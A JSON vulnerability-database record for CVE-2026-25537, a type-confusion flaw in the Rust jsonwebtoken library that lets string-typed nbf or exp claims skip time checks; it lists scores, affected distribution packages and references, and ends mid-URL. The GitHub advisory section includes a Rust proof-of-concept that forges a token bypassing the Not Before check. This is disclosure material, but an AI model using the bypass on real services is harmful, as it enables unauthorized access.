{"id":"CVE-2026-25537","aliases":["DEBIAN-CVE-2026-25537","DHI-vape-72vc-qhhc-as2o","GHSA-h395-gr6q-cpjc","UBUNTU-CVE-2026-25537"],"summary":"jsonwebtoken has Type Confusion that leads to potential authorization bypass","published_at":"2026-02-03T18:47:40Z","modified_at":"2026-11-19T19:45:07.439159Z","products":[],"rating":{"severity":"high","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Moderate","vendor_ratings":[{"source":"Ubuntu","rating":"medium"},{"source":"Red Hat","rating":"Moderate"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.0049600000493228436,"percentile":0.4332999885082245,"date":"2026-11-19T00:00:00Z"},"priority":9.5,"details":"jsonwebtoken is a JWT lib in rust. Prior to version 10.3.0, there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses. This issue has been patched in version 10.3.0.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"Keats/jsonwebtoken","versions":["< 10.3.0"],"provider":"cvelistv5","source":"CVE-2026-25537","relation":"self"},{"ecosystem":"Debian:12","package":"rust-jsonwebtoken","purl":"pkg:deb/debian/rust-jsonwebtoken?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.2.0-1","8.3.0-1","8.3.0-2","8.3.0-3","8.3.0-4","8.3.0-5","9.3.1-1"],"provider":"osv","source":"DEBIAN-CVE-2026-25537","relation":"self"},{"ecosystem":"Debian:13","package":"rust-jsonwebtoken","purl":"pkg:deb/debian/rust-jsonwebtoken?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-5","9.3.1-1"],"provider":"osv","source":"DEBIAN-CVE-2026-25537","relation":"self"},{"ecosystem":"Debian:14","package":"rust-jsonwebtoken","purl":"pkg:deb/debian/rust-jsonwebtoken?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-5","9.3.1-1"],"provider":"osv","source":"DEBIAN-CVE-2026-25537","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"milvus-3.0","purl":"pkg:deb/dhi/milvus-3.0","versions":["3.0.1-1","3.0.2-0","3.0.2-1","3.0.2-2","3.0.2-3","3.0.2-4","3.0.3-0","3.0.5-0","3.0.5-1","3.0.5-2","3.0.6-0","3.0.6-1","3.0.6-10","3.0.6-11","3.0.6-12","3.0.6-13","3.0.6-14","3.0.6-15","3.0.6-2","3.0.6-3","3.0.6-4","3.0.6-5","3.0.6-6","3.0.6-7","3.0.6-8","3.0.6-9"],"provider":"osv","source":"DHI-vape-72vc-qhhc-as2o","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"milvus-3.0-fips","purl":"pkg:deb/dhi/milvus-3.0-fips","versions":["3.0.1-1","3.0.2-0","3.0.2-1","3.0.2-2","3.0.2-3","3.0.2-4","3.0.3-0","3.0.5-0","3.0.5-1","3.0.5-2","3.0.6-0","3.0.6-1","3.0.6-10","3.0.6-11","3.0.6-12","3.0.6-13","3.0.6-14","3.0.6-15","3.0.6-2","3.0.6-3","3.0.6-4","3.0.6-5","3.0.6-6","3.0.6-7","3.0.6-8","3.0.6-9"],"provider":"osv","source":"DHI-vape-72vc-qhhc-as2o","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"milvus-3.0-fips-libs","purl":"pkg:deb/dhi/milvus-3.0-fips-libs","versions":["3.0.1-1","3.0.2-0","3.0.2-1","3.0.2-2","3.0.2-3","3.0.2-4","3.0.3-0","3.0.5-0","3.0.5-1","3.0.5-2","3.0.6-0","3.0.6-1","3.0.6-10","3.0.6-11","3.0.6-12","3.0.6-13","3.0.6-14","3.0.6-15","3.0.6-2","3.0.6-3","3.0.6-4","3.0.6-5","3.0.6-6","3.0.6-7","3.0.6-8","3.0.6-9"],"provider":"osv","source":"DHI-vape-72vc-qhhc-as2o","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"milvus-3.0-libs","purl":"pkg:deb/dhi/milvus-3.0-libs","versions":["3.0.1-1","3.0.2-0","3.0.2-1","3.0.2-2","3.0.2-3","3.0.2-4","3.0.3-0","3.0.5-0","3.0.5-1","3.0.5-2","3.0.6-0","3.0.6-1","3.0.6-10","3.0.6-11","3.0.6-12","3.0.6-13","3.0.6-14","3.0.6-15","3.0.6-2","3.0.6-3","3.0.6-4","3.0.6-5","3.0.6-6","3.0.6-7","3.0.6-8","3.0.6-9"],"provider":"osv","source":"DHI-vape-72vc-qhhc-as2o","relation":"self"},{"ecosystem":"NVD","package":"keats:jsonwebtoken","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.3.0"}]}],"fixed":["10.3.0"],"provider":"nvd","source":"CVE-2026-25537","relation":"self"},{"ecosystem":"Ubuntu:24.04:LTS","package":"rust-jsonwebtoken","purl":"pkg:deb/ubuntu/rust-jsonwebtoken?arch=source&distro=noble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-1","8.3.0-3"],"provider":"osv","source":"UBUNTU-CVE-2026-25537","relation":"self"},{"ecosystem":"Ubuntu:25.10","package":"rust-jsonwebtoken","purl":"pkg:deb/ubuntu/rust-jsonwebtoken?arch=source&distro=questing","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-5"],"provider":"osv","source":"UBUNTU-CVE-2026-25537","relation":"self"},{"ecosystem":"Ubuntu:26.04:LTS","package":"rust-jsonwebtoken","purl":"pkg:deb/ubuntu/rust-jsonwebtoken?arch=source&distro=resolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-5","9.3.1-1"],"provider":"osv","source":"UBUNTU-CVE-2026-25537","relation":"self"},{"ecosystem":"Ubuntu:26.10","package":"rust-jsonwebtoken","purl":"pkg:deb/ubuntu/rust-jsonwebtoken?arch=source&distro=stonking","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.3.1-1"],"provider":"osv","source":"UBUNTU-CVE-2026-25537","relation":"self"},{"ecosystem":"crates.io","package":"jsonwebtoken","purl":"pkg:cargo/jsonwebtoken","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.3.0"}]}],"fixed":["10.3.0"],"provider":"osv","source":"GHSA-h395-gr6q-cpjc","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Confidential Compute Attestation","cpe":"cpe:/a:redhat:confidential_compute_attestation:1","status":"affected","packages":["build-of-trustee/trustee-rhel9","confidential-compute-attestation-tech-preview/trustee-rhel9"],"package_count":2,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-25537"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-26/lightspeed-chatbot-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-25537"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-model-registry-job-async-upload-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-25537"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-25537","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-25537","license":"CC-BY-4.0","published_at":"2026-02-04T21:31:53.511Z","modified_at":"2026-02-05T20:52:48.021Z","summary":"jsonwebtoken has Type Confusion that leads to potential authorization bypass","details":"jsonwebtoken is a JWT lib in rust. Prior to version 10.3.0, there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses. This issue has been patched in version 10.3.0.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","source":"CVE-2026-25537"}],"affected":[{"ecosystem":"CVE","package":"Keats/jsonwebtoken","versions":["< 10.3.0"],"provider":"cvelistv5","source":"CVE-2026-25537","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"},{"type":"WEB","url":"https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"}]},{"provider":"nvd","source_id":"CVE-2026-25537","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25537","severity":[],"affected":[{"ecosystem":"NVD","package":"keats:jsonwebtoken","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.3.0"}]}],"fixed":["10.3.0"],"provider":"nvd","source":"CVE-2026-25537","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"DEBIAN-CVE-2026-25537","relation":"self","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2026-25537","published_at":"2026-02-04T22:15:59.807Z","modified_at":"2026-10-01T03:03:00.659791Z","details":"jsonwebtoken is a JWT lib in rust. Prior to version 10.3.0, there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses. This issue has been patched in version 10.3.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","source":"DEBIAN-CVE-2026-25537"}],"affected":[{"ecosystem":"Debian:12","package":"rust-jsonwebtoken","purl":"pkg:deb/debian/rust-jsonwebtoken?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.2.0-1","8.3.0-1","8.3.0-2","8.3.0-3","8.3.0-4","8.3.0-5","9.3.1-1"],"provider":"osv","source":"DEBIAN-CVE-2026-25537","relation":"self"},{"ecosystem":"Debian:13","package":"rust-jsonwebtoken","purl":"pkg:deb/debian/rust-jsonwebtoken?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-5","9.3.1-1"],"provider":"osv","source":"DEBIAN-CVE-2026-25537","relation":"self"},{"ecosystem":"Debian:14","package":"rust-jsonwebtoken","purl":"pkg:deb/debian/rust-jsonwebtoken?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-5","9.3.1-1"],"provider":"osv","source":"DEBIAN-CVE-2026-25537","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-25537"}]},{"provider":"osv","source_id":"DHI-vape-72vc-qhhc-as2o","relation":"self","url":"https://osv.dev/vulnerability/DHI-vape-72vc-qhhc-as2o","license":"Apache-2.0","published_at":"2026-11-13T17:03:58Z","modified_at":"2026-11-19T19:45:07.439159Z","summary":"jsonwebtoken is a JWT lib in rust. Prior to version 10.3.0, there is a Type Confusion vulnerability in jsonwebtoken…","details":"jsonwebtoken is a JWT lib in rust. Prior to version 10.3.0, there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses. This issue has been patched in version 10.3.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","source":"DHI-vape-72vc-qhhc-as2o"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","source":"DHI-vape-72vc-qhhc-as2o"}],"affected":[{"ecosystem":"Docker Hardened Images:Debian:13","package":"milvus-3.0","purl":"pkg:deb/dhi/milvus-3.0","versions":["3.0.1-1","3.0.2-0","3.0.2-1","3.0.2-2","3.0.2-3","3.0.2-4","3.0.3-0","3.0.5-0","3.0.5-1","3.0.5-2","3.0.6-0","3.0.6-1","3.0.6-10","3.0.6-11","3.0.6-12","3.0.6-13","3.0.6-14","3.0.6-15","3.0.6-2","3.0.6-3","3.0.6-4","3.0.6-5","3.0.6-6","3.0.6-7","3.0.6-8","3.0.6-9"],"provider":"osv","source":"DHI-vape-72vc-qhhc-as2o","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"milvus-3.0-fips","purl":"pkg:deb/dhi/milvus-3.0-fips","versions":["3.0.1-1","3.0.2-0","3.0.2-1","3.0.2-2","3.0.2-3","3.0.2-4","3.0.3-0","3.0.5-0","3.0.5-1","3.0.5-2","3.0.6-0","3.0.6-1","3.0.6-10","3.0.6-11","3.0.6-12","3.0.6-13","3.0.6-14","3.0.6-15","3.0.6-2","3.0.6-3","3.0.6-4","3.0.6-5","3.0.6-6","3.0.6-7","3.0.6-8","3.0.6-9"],"provider":"osv","source":"DHI-vape-72vc-qhhc-as2o","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"milvus-3.0-fips-libs","purl":"pkg:deb/dhi/milvus-3.0-fips-libs","versions":["3.0.1-1","3.0.2-0","3.0.2-1","3.0.2-2","3.0.2-3","3.0.2-4","3.0.3-0","3.0.5-0","3.0.5-1","3.0.5-2","3.0.6-0","3.0.6-1","3.0.6-10","3.0.6-11","3.0.6-12","3.0.6-13","3.0.6-14","3.0.6-15","3.0.6-2","3.0.6-3","3.0.6-4","3.0.6-5","3.0.6-6","3.0.6-7","3.0.6-8","3.0.6-9"],"provider":"osv","source":"DHI-vape-72vc-qhhc-as2o","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"milvus-3.0-libs","purl":"pkg:deb/dhi/milvus-3.0-libs","versions":["3.0.1-1","3.0.2-0","3.0.2-1","3.0.2-2","3.0.2-3","3.0.2-4","3.0.3-0","3.0.5-0","3.0.5-1","3.0.5-2","3.0.6-0","3.0.6-1","3.0.6-10","3.0.6-11","3.0.6-12","3.0.6-13","3.0.6-14","3.0.6-15","3.0.6-2","3.0.6-3","3.0.6-4","3.0.6-5","3.0.6-6","3.0.6-7","3.0.6-8","3.0.6-9"],"provider":"osv","source":"DHI-vape-72vc-qhhc-as2o","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-vape-72vc-qhhc-as2o"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25537"},{"type":"ADVISORY","url":"https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"},{"type":"FIX","url":"https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-25537"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h395-gr6q-cpjc"},{"type":"ADVISORY","url":"https://ubuntu.com/security/CVE-2026-25537"},{"type":"ADVISORY","url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-25537"}]},{"provider":"osv","source_id":"GHSA-h395-gr6q-cpjc","relation":"self","url":"https://osv.dev/vulnerability/GHSA-h395-gr6q-cpjc","license":"CC-BY-4.0","published_at":"2026-02-03T18:47:40Z","modified_at":"2026-09-10T03:50:35.169824Z","summary":"jsonwebtoken has Type Confusion that leads to potential authorization bypass","details":"## Summary:\n\nIt has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.\n\nWhen a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.\n\nThis means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.\n\n## Details:\n\nThe vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).\n\n 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:\n```\nenum TryParse<T> {\n    Parsed(T),\n    FailedToParse, // Set when deserialization fails (e.g. type mismatch)\n    NotPresent,\n}\n```\nIf a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.\n\n 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf\nlike this:\n```\n// L288-291\nif matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {\n    return Err(new_error(ErrorKind::ImmatureSignature));\n}\n```\nThis matches! macro explicitly looks for TryParse::Parsed(nbf).\n\n • If claims.nbf is FailedToParse, the match returns false.\n • The if block is skipped.\n • No error is returned.\n 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:\n```\n// Lines 259-267\nfor required_claim in &options.required_spec_claims {\n    let present = match required_claim.as_str() {\n        \"nbf\" => matches!(claims.nbf, TryParse::Parsed(_)),\n        // ...\n    };\n    if !present { return Err(...); }\n}\n```\nIf “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.\n\nHowever, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.\n\nEnvironment:\n\n • Version: jsonwebtoken 10.2.0\n • Rust Version: rustc 1.90.0\n • Cargo Version: cargo 1.90.0\n • OS: MacOS Tahoe 26.2\n\nPOC:\n\nFor demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.\n\ncreate a new project:\n```\ncargo new nbf_poc; cd nbf_poc\n```\nadd required dependencies:\n```\ncargo add serde --features derive\ncargo add jsonwebtoken --features rust_crypto\ncargo add serde_json\n```\nreplace the code in src/main.rs with this:\n\n```\nuse jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};\nuse serde::{Deserialize, Serialize};\n\n#[derive(Debug, Serialize, Deserialize)]\nstruct Claims {\n    sub: String,\n    nbf: String, // Attacker sends nbf as a String\n    exp: usize,\n}\nfn main() {\n    let key: &[u8; 24] = b\"RedMouseOverTheSkyIsBlue\";\n\n    // nbf is a String \"99999999999\" (Far future)\n    // Real nbf should be a Number.\n    let my_claims: Claims = Claims {\n        sub: \"krishna\".to_string(),\n        nbf: \"99999999999\".to_string(), \n        exp: 10000000000, \n    };\n\n    let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();\n    println!(\"Forged Token: {}\", token);\n\n    // 2. Configure Validation\n    let mut validation: Validation = Validation::new(Algorithm::HS256);\n    validation.validate_nbf = true; // Enable NBF check\n\n    // We do NOT add \"nbf\" to required_spec_claims (default behavior)\n\n    // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.\n    // The library sees the raw JSON with string \"nbf\".\n    let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(\n        &token, \n        &DecodingKey::from_secret(key), \n        &validation\n    );\n\n    match result {\n        Ok(_) => println!(\"Token was accepted despite malformed far-future 'nbf'!\"),\n        Err(e) => println!(\"Token rejected. Error: {:?}\", e),\n    }\n}\n```\nrun cargo run\n\nexpected behaviour:\n\n```\nForged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk\n```\nToken was accepted despite malformed far-future 'nbf'!\nImpact:\n\nIf an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).\n\nBy sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.\n\nand for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","source":"GHSA-h395-gr6q-cpjc"}],"affected":[{"ecosystem":"crates.io","package":"jsonwebtoken","purl":"pkg:cargo/jsonwebtoken","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.3.0"}]}],"fixed":["10.3.0"],"provider":"osv","source":"GHSA-h395-gr6q-cpjc","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25537"},{"type":"WEB","url":"https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"},{"type":"PACKAGE","url":"https://github.com/Keats/jsonwebtoken"}]},{"provider":"osv","source_id":"UBUNTU-CVE-2026-25537","relation":"self","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-25537","license":"CC-BY-SA-4.0","published_at":"2026-02-04T22:15:00Z","modified_at":"2026-10-17T12:58:07.521977Z","details":"jsonwebtoken is a JWT lib in rust. Prior to version 10.3.0, there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses. This issue has been patched in version 10.3.0.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","source":"UBUNTU-CVE-2026-25537"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","source":"UBUNTU-CVE-2026-25537"},{"type":"Ubuntu","score":"medium","source":"UBUNTU-CVE-2026-25537"}],"affected":[{"ecosystem":"Ubuntu:24.04:LTS","package":"rust-jsonwebtoken","purl":"pkg:deb/ubuntu/rust-jsonwebtoken?arch=source&distro=noble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-1","8.3.0-3"],"provider":"osv","source":"UBUNTU-CVE-2026-25537","relation":"self"},{"ecosystem":"Ubuntu:25.10","package":"rust-jsonwebtoken","purl":"pkg:deb/ubuntu/rust-jsonwebtoken?arch=source&distro=questing","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-5"],"provider":"osv","source":"UBUNTU-CVE-2026-25537","relation":"self"},{"ecosystem":"Ubuntu:26.04:LTS","package":"rust-jsonwebtoken","purl":"pkg:deb/ubuntu/rust-jsonwebtoken?arch=source&distro=resolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.3.0-5","9.3.1-1"],"provider":"osv","source":"UBUNTU-CVE-2026-25537","relation":"self"},{"ecosystem":"Ubuntu:26.10","package":"rust-jsonwebtoken","purl":"pkg:deb/ubuntu/rust-jsonwebtoken?arch=source&distro=stonking","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.3.1-1"],"provider":"osv","source":"UBUNTU-CVE-2026-25537","relation":"self"}],"product_status":[],"references":[{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2026-25537"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-25537"},{"type":"REPORT","url":"https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"},{"type":"REPORT","url":"https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"}]},{"provider":"redhat-vex","source_id":"CVE-2026-25537","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-25537","license":"CC-BY-4.0","published_at":"2026-02-04T21:31:53.511Z","modified_at":"2026-03-16T08:31:19Z","summary":"jsonwebtoken: jsonwebtoken has Type Confusion that leads to potential authorization bypass","details":"A type confusion flaw has been discovered in jsonwebtoken. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","source":"CVE-2026-25537"},{"type":"Red Hat","score":"Moderate","source":"CVE-2026-25537"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Confidential Compute Attestation","cpe":"cpe:/a:redhat:confidential_compute_attestation:1","status":"affected","packages":["build-of-trustee/trustee-rhel9","confidential-compute-attestation-tech-preview/trustee-rhel9"],"package_count":2,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-25537"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-26/lightspeed-chatbot-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-25537"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-model-registry-job-async-upload-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-25537"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25537.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-25537"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2436945"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-25537"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25537"},{"type":"WEB","url":"https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"},{"type":"WEB","url":"https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"}]}],"references":[{"type":"WEB","url":"https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"},{"type":"WEB","url":"https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-25537"},{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-vape-72vc-qhhc-as2o"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25537"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h395-gr6q-cpjc"},{"type":"ADVISORY","url":"https://ubuntu.com/security/CVE-2026-25537"},{"type":"ADVISORY","url":"http://people.u